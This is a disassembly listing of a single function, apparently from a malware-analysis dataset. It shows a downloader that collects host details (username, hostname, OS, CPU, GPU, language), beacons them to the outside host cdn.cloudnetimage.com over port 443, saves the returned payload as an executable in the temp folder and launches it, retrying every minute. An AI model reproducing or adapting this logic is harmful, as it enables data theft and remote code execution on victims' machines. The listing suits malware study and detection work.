Function at 0x14019fdd0
Capabilities:
Create process on windows
Create thread
Terminate process

Disassembly:
push rbp
sub rsp, 0x580
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x4f8], 0xfffffffffffffffe
mov dword [rbp + 0x4f4], 0
mov qword [rbp + 0x4e8], rdx
mov dword [rbp + 0x4e4], ecx
xor eax, eax
mov dword [rbp + 0x14], eax
mov dl, al
lea rcx, [rbp + 0x3d0]
mov qword [rbp + 0x18], rcx
mov r8d, 0x105
call fcn.1401ba7d0
mov ecx, dword [rbp + 0x14]
mov rdx, qword [rbp + 0x18]
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov r8d, 0x104
call rax
mov rdx, qword [rbp + 0x18]
lea rcx, [rbp + 0x3b0]
call fcn.140001b10
lea rcx, [0x140201800]
lea rdx, str.C:UsersPublicLibraries_navicat.log
call fcn.140002d30
jmp 0x14019fe5d
call fcn.1400026f0
jmp 0x14019fe67
lea rcx, str.main.cpp
lea rdx, str.dThPMUu1GzWUp3uLlZUF2YHQIBatUQ
call fcn.14019a010
jmp 0x14019fe7f
mov rax, rsp
lea rcx, [rbp + 0x3ac]
mov qword [rax + 0x28], rcx
mov dword [rax + 0x20], 0
lea r8, [0x14019f9c0]
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
mov r9d, ecx
mov rcx, r9
mov rdx, r9
call rax
mov qword [rbp + 0x3a0], rax
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xbb8
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call rax
mov dword [rbp + 0x39c], eax
mov ecx, dword [rbp + 0x3ac]
mov edx, 0x19994
lea r8, [rbp + 0x39c]
call fcn.14009fb80
jmp 0x14019feef
lea rcx, str.main.cpp
lea rdx, str.dSlAJx_4GzCR5rnlNFZWGGYaTA
call fcn.14019a010
jmp 0x14019ff07
mov r8d, dword [rbp + 0x39c]
lea rcx, str.main.cpp
lea rdx, str.:__d
call fcn.14019a010
jmp 0x14019ff26
call fcn.14009eb00
mov byte [rbp + 0x13], al
jmp 0x14019ff33
mov al, byte [rbp + 0x13]
movzx eax, al
and eax, 1
mov dword [rbp + 0x398], eax
lea rcx, str.main.cpp
lea rdx, str.YTlPMVvKDjGNo6zpGV5EG2YBTYFKuFQ
call fcn.14019a010
jmp 0x14019ff5a
mov r8d, dword [rbp + 0x398]
lea rcx, str.main.cpp
lea rdx, str.:__d
call fcn.14019a010
jmp 0x14019ff79
cmp dword [rbp + 0x398], 0
je 0x14019ff8e
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rdx, str.uid:
lea rcx, [rbp + 0x378]
call fcn.140001b10
jmp 0x14019ffa6
lea rdx, [0x1401ef45f]
lea rcx, [rbp + 0x378]
call fcn.140002f30
jmp 0x14019ffbe
lea rdx, str.cc:
lea rcx, [rbp + 0x378]
call fcn.140002f30
jmp 0x14019ffd6
lea rdx, [0x1401ef326]
lea rcx, [rbp + 0x378]
call fcn.140002f30
jmp 0x14019ffee
lea rdx, str.mid:
lea rcx, [rbp + 0x378]
call fcn.140002f30
jmp 0x1401a0006
lea rcx, [rbp + 0x338]
call fcn.1400a0650
jmp 0x1401a0017
lea rcx, [rbp + 0x358]
lea rdx, [rbp + 0x338]
call fcn.14009ae50
jmp 0x1401a002f
lea rcx, [rbp + 0x378]
lea rdx, [rbp + 0x358]
call fcn.1400aab40
jmp 0x1401a0047
lea rcx, [rbp + 0x358]
call fcn.140001b80
lea rdx, str.gpu:
lea rcx, [rbp + 0x378]
call fcn.140002f30
jmp 0x1401a006b
lea rcx, [rbp + 0x320]
call fcn.1400a1540
jmp 0x1401a007c
lea rcx, [rbp + 0x320]
lea rdx, [rbp + 0x318]
call fcn.1401a0a70
lea rcx, [rbp + 0x320]
lea rdx, [rbp + 0x310]
mov qword [rbp + 8], rdx
call fcn.1401a0e00
mov rdx, qword [rbp + 8]
lea rcx, [rbp + 0x318]
call fcn.1401a0b00
mov byte [rbp + 0x12], al
jmp 0x1401a00be
mov al, byte [rbp + 0x12]
test al, 1
jne 0x1401a00ce
jmp 0x1401a0196
lea rcx, [rbp + 0x318]
call fcn.1401a0e90
mov qword [rbp], rax
jmp 0x1401a00e3
mov rdx, qword [rbp]
lea rcx, [rbp + 0x378]
call fcn.1400aab40
jmp 0x1401a00f8
mov rax, qword [rbp + 0x318]
mov qword [rbp + 0x300], rax
mov rdx, qword [rbp + 0x300]
lea rcx, [rbp + 0x308]
mov r8d, 1
call fcn.1401a1400
jmp 0x1401a0124
lea rcx, [rbp + 0x320]
lea rdx, [rbp + 0x2f8]
mov qword [rbp - 0x10], rdx
call fcn.1401a0e00
mov rdx, qword [rbp - 0x10]
lea rcx, [rbp + 0x308]
call fcn.1401a0b00
mov byte [rbp - 1], al
jmp 0x1401a0153
mov al, byte [rbp - 1]
test al, 1
jne 0x1401a0163
jmp 0x1401a0180
lea rdx, [0x1401ef526]
lea rcx, [rbp + 0x378]
call fcn.140002f30
jmp 0x1401a017b
jmp 0x1401a0180
lea rcx, [rbp + 0x318]
call fcn.1401a1470
jmp 0x1401a0191
jmp 0x1401a008f
lea rdx, str.cpu:
lea rcx, [rbp + 0x378]
call fcn.140002f30
jmp 0x1401a01ae
lea rcx, [rbp + 0x2d8]
call fcn.1400a2470
jmp 0x1401a01bf
lea rcx, [rbp + 0x378]
lea rdx, [rbp + 0x2d8]
call fcn.1400aab40
jmp 0x1401a01d7
lea rcx, [rbp + 0x2d8]
call fcn.140001b80
lea rdx, str.filename:
lea rcx, [rbp + 0x378]
call fcn.140002f30
jmp 0x1401a01fb
lea rcx, [rbp + 0x2b8]
call fcn.1400a3500
jmp 0x1401a020c
lea rdx, [0x1401ef72a]
lea rcx, [rbp + 0x2b8]
call fcn.1401a1870
jmp 0x1401a0224
lea rcx, [rbp + 0x278]
lea rdx, [rbp + 0x2b8]
call fcn.1400c9070
jmp 0x1401a023c
lea rcx, [rbp + 0x298]
lea rdx, [rbp + 0x278]
call fcn.14009ae50
jmp 0x1401a0254
lea rcx, [rbp + 0x378]
lea rdx, [rbp + 0x298]
call fcn.1400aab40
jmp 0x1401a026c
lea rcx, [rbp + 0x298]
call fcn.140001b80
lea rdx, str.language:
lea rcx, [rbp + 0x378]
call fcn.140002f30
jmp 0x1401a0290
lea rcx, [rbp + 0x258]
call fcn.1400a4250
jmp 0x1401a02a1
lea rcx, [rbp + 0x378]
lea rdx, [rbp + 0x258]
call fcn.1400aab40
jmp 0x1401a02b9
lea rcx, [rbp + 0x258]
call fcn.140001b80
lea rdx, str.hostname:
lea rcx, [rbp + 0x378]
call fcn.140002f30
jmp 0x1401a02dd
lea rcx, [rbp + 0x218]
call fcn.1400a49f0
jmp 0x1401a02ee
lea rcx, [rbp + 0x238]
lea rdx, [rbp + 0x218]
call fcn.14009ae50
jmp 0x1401a0306
lea rcx, [rbp + 0x378]
lea rdx, [rbp + 0x238]
call fcn.1400aab40
jmp 0x1401a031e
lea rcx, [rbp + 0x238]
call fcn.140001b80
lea rdx, str.username:
lea rcx, [rbp + 0x378]
call fcn.140002f30
jmp 0x1401a0342
lea rcx, [rbp + 0x1d8]
call fcn.1400a4e90
jmp 0x1401a0353
lea rcx, [rbp + 0x1f8]
lea rdx, [rbp + 0x1d8]
call fcn.14009ae50
jmp 0x1401a036b
lea rcx, [rbp + 0x378]
lea rdx, [rbp + 0x1f8]
call fcn.1400aab40
jmp 0x1401a0383
lea rcx, [rbp + 0x1f8]
call fcn.140001b80
lea rdx, str.os:
lea rcx, [rbp + 0x378]
call fcn.140002f30
jmp 0x1401a03a7
lea rcx, [rbp + 0x198]
call fcn.1400a5dd0
jmp 0x1401a03b8
lea rcx, [rbp + 0x1b8]
lea rdx, [rbp + 0x198]
call fcn.14009ae50
jmp 0x1401a03d0
lea rcx, [rbp + 0x378]
lea rdx, [rbp + 0x1b8]
call fcn.1400aab40
jmp 0x1401a03e8
lea rcx, [rbp + 0x1b8]
call fcn.140001b80
lea rdx, str.task:
lea rcx, [rbp + 0x378]
call fcn.140002f30
jmp 0x1401a040c
lea rcx, [rbp + 0x178]
call fcn.1400a6720
jmp 0x1401a041d
lea rcx, [rbp + 0x378]
lea rdx, [rbp + 0x178]
call fcn.1400aab40
jmp 0x1401a0435
lea rcx, [rbp + 0x178]
call fcn.140001b80
lea rcx, [rbp + 0x158]
lea rdx, [rbp + 0x378]
call fcn.1400aa960
jmp 0x1401a0459
jmp 0x1401a045e
mov qword [rbp + 0x150], 0
mov dword [rbp + 0x14c], 0
lea rcx, [rbp + 0x158]
mov qword [rbp - 0x28], rcx
call fcn.140004100
mov rcx, qword [rbp - 0x28]
mov qword [rbp - 0x20], rax
call fcn.1401227c0
mov rcx, qword [rbp - 0x20]
mov r9, rax
mov rax, rsp
lea rdx, [rbp + 0x14c]
mov qword [rax + 0x30], rdx
lea rdx, [rbp + 0x150]
mov qword [rax + 0x28], rdx
mov qword [rax + 0x20], rcx
mov qword [rax + 0x40], 0
mov qword [rax + 0x38], 0
lea rcx, str.cdn.cloudnetimage.com
lea r8, str.___js_n_gcgQvIqHlS_Yxs5UDzMVX2khrBay3S.EwOK4wO92IKnyh9VRqg2Ron79cuIZk5
mov dx, 0x1bb
call fcn.1401aa210
mov byte [rbp - 0x11], al
jmp 0x1401a04e3
mov al, byte [rbp - 0x11]
and al, 1
mov byte [rbp + 0x14b], al
test byte [rbp + 0x14b], 1
je 0x1401a06dc
cmp dword [rbp + 0x14c], 0xa
jbe 0x1401a06bf
lea rcx, str.main.cpp
lea rdx, str.dCldM1D7CTysr7foZlZPFTUHCJRWuEWJ_bLUyf4T
call fcn.14019a010
jmp 0x1401a0520
mov eax, dword [rbp + 0x14c]
mov r8d, eax
mov rdx, qword [rbp + 0x150]
lea rcx, [rbp + 0x128]
call fcn.1401a1a40
jmp 0x1401a0541
lea rcx, [rbp + 0x110]
lea rdx, [rbp + 0x128]
call fcn.1400ac1c0
jmp 0x1401a0559
lea rcx, str.main.cpp
lea rdx, str.ZypaJk21HjyctLT9MnBYEjIWRoY
call fcn.14019a010
jmp 0x1401a0571
lea rdx, str._TEMP_cbd_d6s3.exe
lea rcx, [rbp + 0xd0]
call fcn.1400a0900
jmp 0x1401a0589
lea rcx, [rbp + 0xf0]
lea rdx, [rbp + 0xd0]
call fcn.1400b0a90
jmp 0x1401a05a1
lea rcx, [rbp + 0xd0]
call fcn.14009add0
lea rcx, str.main.cpp
lea rdx, str.YiNZLVP6Gz3foKThIxNDE2YDSYZX9Enasw
call fcn.14019a010
jmp 0x1401a05c5
lea rcx, [rbp + 0x90]
lea rdx, [rbp + 0xf0]
call fcn.1400c9070
jmp 0x1401a05dd
lea rcx, [rbp + 0xb0]
lea rdx, [rbp + 0x90]
call fcn.14009ae50
jmp 0x1401a05f5
lea rcx, [rbp + 0xb0]
call fcn.140004120
mov r8, rax
lea rcx, str.main.cpp
lea rdx, [0x1401ee4fb]
call fcn.14019a010
jmp 0x1401a061c
lea rcx, [rbp + 0xb0]
call fcn.140001b80
lea rcx, [rbp + 0x110]
lea rdx, [rbp + 0xf0]
call fcn.1400aee60
mov byte [rbp - 0x29], al
jmp 0x1401a0643
mov al, byte [rbp - 0x29]
test al, 1
jne 0x1401a0653
jmp 0x1401a06b7
lea rcx, [rbp + 0x20]
xor edx, edx
mov r8d, 0x70
call fcn.1401ba7d0
mov dword [rbp + 0x20], 0x70
lea rcx, [rbp + 0xf0]
call fcn.14009b040
mov qword [rbp + 0x38], rax
lea rax, str._key_mSpwZnDg8MD5nA
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x30], 0
mov dword [rbp + 0x50], 1
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x48], 0
lea rcx, [rbp + 0x20]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rcx, str.main.cpp
lea rdx, str.dCldM1D7CTysr7foZl9SDzVTXJpeugCYuQ
call fcn.14019a010
jmp 0x1401a06d7
jmp 0x1401a06f9
lea rcx, str.main.cpp
lea rdx, str.cSVAHFfhDimMmb3iNUcXGicaRJdb
call fcn.14019a010
jmp 0x1401a06f4
jmp 0x1401a06f9
mov ecx, 0xea60
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1401a045e